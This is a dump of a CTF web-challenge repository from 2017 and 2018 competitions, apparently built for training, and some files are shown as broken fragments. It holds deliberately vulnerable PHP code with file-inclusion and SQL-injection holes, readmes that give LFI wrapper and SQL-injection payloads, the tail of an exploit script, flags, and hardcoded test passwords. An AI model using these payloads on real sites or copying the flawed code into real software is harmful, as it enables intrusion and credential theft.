38 | if(response.find('err') != -1) :
39 | password += y
40 | print("password : " + password)
41 | break
42 |
43 | conn.close()
44 |
45 | print('----- config.php -----')
46 | print(secret_key) # secret key : powerofxx
47 | print('----------------------')
48 | print('username : ' + username)
49 | print('password : ' + password)
50 | print('----------------------')
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/basic_web/readme.md:
--------------------------------------------------------------------------------
1 | # Power of Xx 2017
2 |
3 | ~~~
4 | * 제작 : 문시우
5 |
6 | * 문제명 : basic web
7 |
8 | * 난이도 : 하
9 |
10 | * 분야 : 웹
11 | ~~~
12 | ~~~
13 | 설명 : lfi + sqli (error based blind insert injection)
14 | ?p= 파라미터에서 lfi 취약점이 발생한다. php wrapper를 이용해 소스를 얻을 수 있다.
15 | ex : ?p=php://filter/convert.base64-encode/resource=config
16 |
17 | 소스를 얻고 소스를 분석하여 sql injection 을 수행하면된다. (send.htm 에서 취약점 발생)
18 | sql injection 으로 어드민의 패스워드를 알아냈다면 config.htm에 있는 secret_key와 얻어낸 아이디/패스워드로
19 | 어드민 계정으로 로그인해서 adm1n.htm로 접근하면 플래그를 얻을 수 있다.
20 |
21 | payload :
22 | email=1&title=1\&contents=,if((select substr(password,1,1) from users where 1)='t', (select 1 union select 2), 2));#
23 |
24 | exploit : ./exploit.py
25 | ~~~
26 | ---------------------------------------
27 | 플래그 : flag{s1mple_SQL_1n73ction_XD}
28 |
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/basic_web/src/adm1n.htm:
--------------------------------------------------------------------------------
1 | flag{s1mple_SQL_1n73ction_XD}';
6 | ?>
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/basic_web/src/config.htm:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/basic_web/src/index.htm:
--------------------------------------------------------------------------------
1 | location.href='?p=home';");
3 | if(preg_match("/adm1n/i", $_GET['p'])) exit('nope');
4 |
5 | require($_GET['p'].".htm");
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/basic_web/src/logout.htm:
--------------------------------------------------------------------------------
1 | location.href='?p=home';");
6 | ?>
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/basic_web/table.sql:
--------------------------------------------------------------------------------
1 | SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
2 | SET NAMES UTF8;
3 |
4 | CREATE TABLE IF NOT EXISTS `message` (
5 | `email` varchar(100) NOT NULL,
6 | `title` varchar(100) NOT NULL,
7 | `contents` varchar(100) NOT NULL
8 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
9 |
10 | CREATE TABLE IF NOT EXISTS `users` (
11 | `username` varchar(100) NOT NULL,
12 | `password` varchar(100) NOT NULL,
13 | PRIMARY KEY (`username`)
14 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
15 |
16 | INSERT INTO `users` (`username`, `password`) VALUES
17 | ('admin', 'th1sisp4ssw0rd');
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/sqlgame/readme.md:
--------------------------------------------------------------------------------
1 | # Power of Xx 2017
2 | ~~~
3 | * 이름 : 문시우
4 |
5 | * 문제명 : sqlgame
6 |
7 | * 난이도 : 하
8 |
9 | * 분야 : 웹
10 | ~~~
11 |
12 | - payload
13 | ~~~
14 | ?vuln=1%20union%20select%200x303037,1,1%23%27%20union%20select%201,0x62616e67,schema()%23"%20union%20select%201,2,%27007%27%23
15 | ~~~
16 |
17 | ----------------------------------
18 |
19 | flag : flag{good_good_very_good}
20 |
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/sqlgame/src/assets/adfsadfasdfasdfasdfasdf31!@$&(^^&^!@aag12345.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/munsiwoo/ctf-web-prob/eb4124d4208ef7a8c28c7e16a41b5cfa7bcd86a5/2017/power_of_xx_2017/sqlgame/src/assets/adfsadfasdfasdfasdfasdf31!@$&(^^&^!@aag12345.png
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/sqlgame/src/assets/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/munsiwoo/ctf-web-prob/eb4124d4208ef7a8c28c7e16a41b5cfa7bcd86a5/2017/power_of_xx_2017/sqlgame/src/assets/logo.png
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/sqlgame/src/config.php:
--------------------------------------------------------------------------------
1 | Congratulation!!!!
";
8 | ?>
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/sqlgame/src/index.php:
--------------------------------------------------------------------------------
1 | ';
27 |
28 | if(isset($_GET['view-source'])){
29 | highlight_file(__FILE__) and die();
30 | }
31 |
32 | ?>
33 |
34 |
35 |
36 | sqlgame
37 |
38 |
39 |
40 |
41 | 
42 |
46 | source
47 |
48 |
49 |
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/sqlgame/table.sql:
--------------------------------------------------------------------------------
1 | SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
2 | SET NAMES UTF8;
3 |
4 | CREATE TABLE IF NOT EXISTS `users` (
5 | `usercode` varchar(100) NOT NULL,
6 | `username` varchar(100) NOT NULL,
7 | `password` varchar(100) NOT NULL
8 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--------------------------------------------------------------------------------
/2017/simple_login/config.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/2017/simple_login/index.php:
--------------------------------------------------------------------------------
1 |
55 |
56 |
57 |
58 |
59 | ?
60 |
61 |
62 |
63 | Login
64 |
69 |
70 | Join
71 |
75 |
76 |
79 |
80 |
81 |
--------------------------------------------------------------------------------
/2017/simple_login/table.sql:
--------------------------------------------------------------------------------
1 | SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
2 | SET NAMES UTF8;
3 |
4 | CREATE TABLE `users` (
5 | `login_id` varchar(64) NOT NULL,
6 | `login_pw` varchar(64) NOT NULL,
7 | `login_name` varchar(128) NOT NULL
8 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
9 |
10 | INSERT INTO `users` (`login_id`, `login_pw`, `login_name`) VALUES
11 | ('**secret**', '**secret**', '**secret**'),
12 | ('**secret**', '**secret**', '**secret**'),
13 | ('**secret**', '**secret**', '**secret**'),
14 | ('**secret**', '**secret**', '**secret**'),
15 | ('**secret**', '**secret**', '**secret**');
--------------------------------------------------------------------------------
/2018/2018_Layer7_CTF_Margaret/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Margaret (Web - 250pts)
3 | #### solver : 2 (jinmoxjinmo123, JeonYoungSin)
4 |
5 | This challenge is `RCE` via `session lfi` challenge.
6 | I made a challenge for the `2018 layer7 ctf`.
7 |
8 | * Environment
9 | * Apache/2.4.18 (Ubuntu)
10 | * PHP 7.0.28-0ubuntu0.16.04.1
11 | * sqlite 3.11.0
12 | -----------------
13 | ### php.ini - disable_functions
14 | ```
15 | disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
16 | pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,
17 | pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
18 | system,passthru,exec,shell_exec
19 | ```
20 | -----------------
21 |
22 | Revenge version of this challenge is ready.
23 | Please contact me if you need revenge version.
24 |
--------------------------------------------------------------------------------
/2018/2018_Layer7_CTF_Margaret/db/database.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/munsiwoo/ctf-web-prob/eb4124d4208ef7a8c28c7e16a41b5cfa7bcd86a5/2018/2018_Layer7_CTF_Margaret/db/database.db
--------------------------------------------------------------------------------
/2018/2018_Layer7_CTF_Margaret/html/.htaccess:
--------------------------------------------------------------------------------
1 | RewriteEngine on
2 |
3 | RewriteRule "^public($|/.*)" - [L]
4 | RewriteRule "^(.*)$" "index.php?p=$1" [QSA,NC,L]
5 |
--------------------------------------------------------------------------------
/2018/2018_Layer7_CTF_Margaret/html/classes/Controller.class.php:
--------------------------------------------------------------------------------
1 | login($_POST);
30 | break;
31 | case 'register.html' :
32 | $User->register($_POST);
33 | break;
34 | default :
35 | break;
36 | }
37 |
38 | }
39 |
40 | else { // GET
41 | $Render->render_template('header.html');
42 | $Render->render_template($page);
43 | $Render->render_template('footer.html');
44 | }
45 | }
46 |
47 | public function filename($name) {
48 | return pathinfo($name)['filename'];
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/2018/2018_Layer7_CTF_Margaret/html/classes/Render.class.php:
--------------------------------------------------------------------------------
1 | menu_loader(), $html);
14 | echo preg_replace('/\n+|\t+|\s{2}/', '', $html); // render
15 | break;
16 | case 'mypage.html' :
17 | $html = file_get_contents($file);
18 | $fetch = array_map('htmlspecialchars', $this->mypage_loader($_SESSION['username']));
19 | $html = str_replace('{USERNAME}', $fetch['username'], $html);
20 | $html = str_replace('{PASSWORD}', $fetch['password'], $html);
21 | echo preg_replace('/\n+|\t+|\s{2}/', '', $html); // render
22 | break;
23 | default :
24 | include $file;
25 | break;
26 | }
27 | }
28 |
29 | private function menu_loader() {
30 | $menu_list = isset($_SESSION['username']) ?
31 | ['home'=>'/home.html', 'mypage'=>'/mypage.html', 'logout'=>'/logout.html'] :
32 | ['home'=>'/home.html', 'login'=>'/login.html', 'register'=>'/register.html'];
33 |
34 | $result = '';
35 | foreach($menu_list as $menu=>$url) {
36 | $result .= ''.
37 | "{$menu} | ";
38 | }
39 | $result .= '
';
40 |
41 | return $result;
42 | }
43 |
44 | private function mypage_loader($username) {
45 | $username = anti_sqli($username);
46 | $query = $this->query("SELECT * FROM `users` WHERE `username`='{$username}';");
47 | return $query->fetchArray();
48 | }
49 |
50 | }
51 |
--------------------------------------------------------------------------------
/2018/2018_Layer7_CTF_Margaret/html/classes/User.class.php:
--------------------------------------------------------------------------------
1 | query($query);
15 |
16 | if($fetch = $query->fetchArray()) {
17 | $_SESSION['username'] = $fetch['username'];
18 | go('/home.html', 'login success');
19 | }
20 |
21 | die('login failed.
'); // login fail
22 | }
23 |
24 | public function register($data) {
25 | $data = array_map('anti_sqli', $data);
26 |
27 | $username = $data['username'];
28 | $password = password($data['password']);
29 |
30 | if(preg_match("/(\s|admin|_)/i", $username, $matche)) {
31 | die('keyword "'.$matche[0].'" is not allowed');
32 | }
33 |
34 | if(strlen($password) < 5) {
35 | die('password is too short');
36 | }
37 |
38 | $query = "SELECT * FROM `users` WHERE `username`='{$username}';";
39 | $query = $this->query($query);
40 | if($query->fetchArray()) die('already exists');
41 |
42 | $query = "INSERT INTO `users` VALUES ('{$username}', '{$password}');";
43 | $query = $this->query($query);
44 |
45 | go('/login.html', 'register success');
46 | }
47 |
48 | }
49 |
--------------------------------------------------------------------------------
/2018/2018_Layer7_CTF_Margaret/html/config/config.php:
--------------------------------------------------------------------------------
1 | location.href=\"{$url}\";";
6 | $execute .= strlen($msg) ? "alert(\"{$msg}\");" : "";
7 | $execute .= ""; die($execute);
8 | }
9 |
10 | function back($msg = "") { // history back
11 | $execute = ""; die($execute);
14 | }
15 |
16 | function secure_page($page) { // anti lfi
17 | $page = strtolower(trim($page));
18 | $page = str_replace(chr(0), '', $page);
19 | $page = str_replace('../', '', $page);
20 | if(substr($page, -4, 4) == 'html') return $page;
21 | }
22 |
23 | function password($password) {
24 | return hash('sha256', sha1(md5($password).__SALT__));
25 | }
26 |
27 | function anti_sqli($data) { // anti sqlite injection
28 | return str_replace("'", "''", $data);
29 | }
30 |
--------------------------------------------------------------------------------
/2018/2018_Layer7_CTF_Margaret/html/index.php:
--------------------------------------------------------------------------------
1 |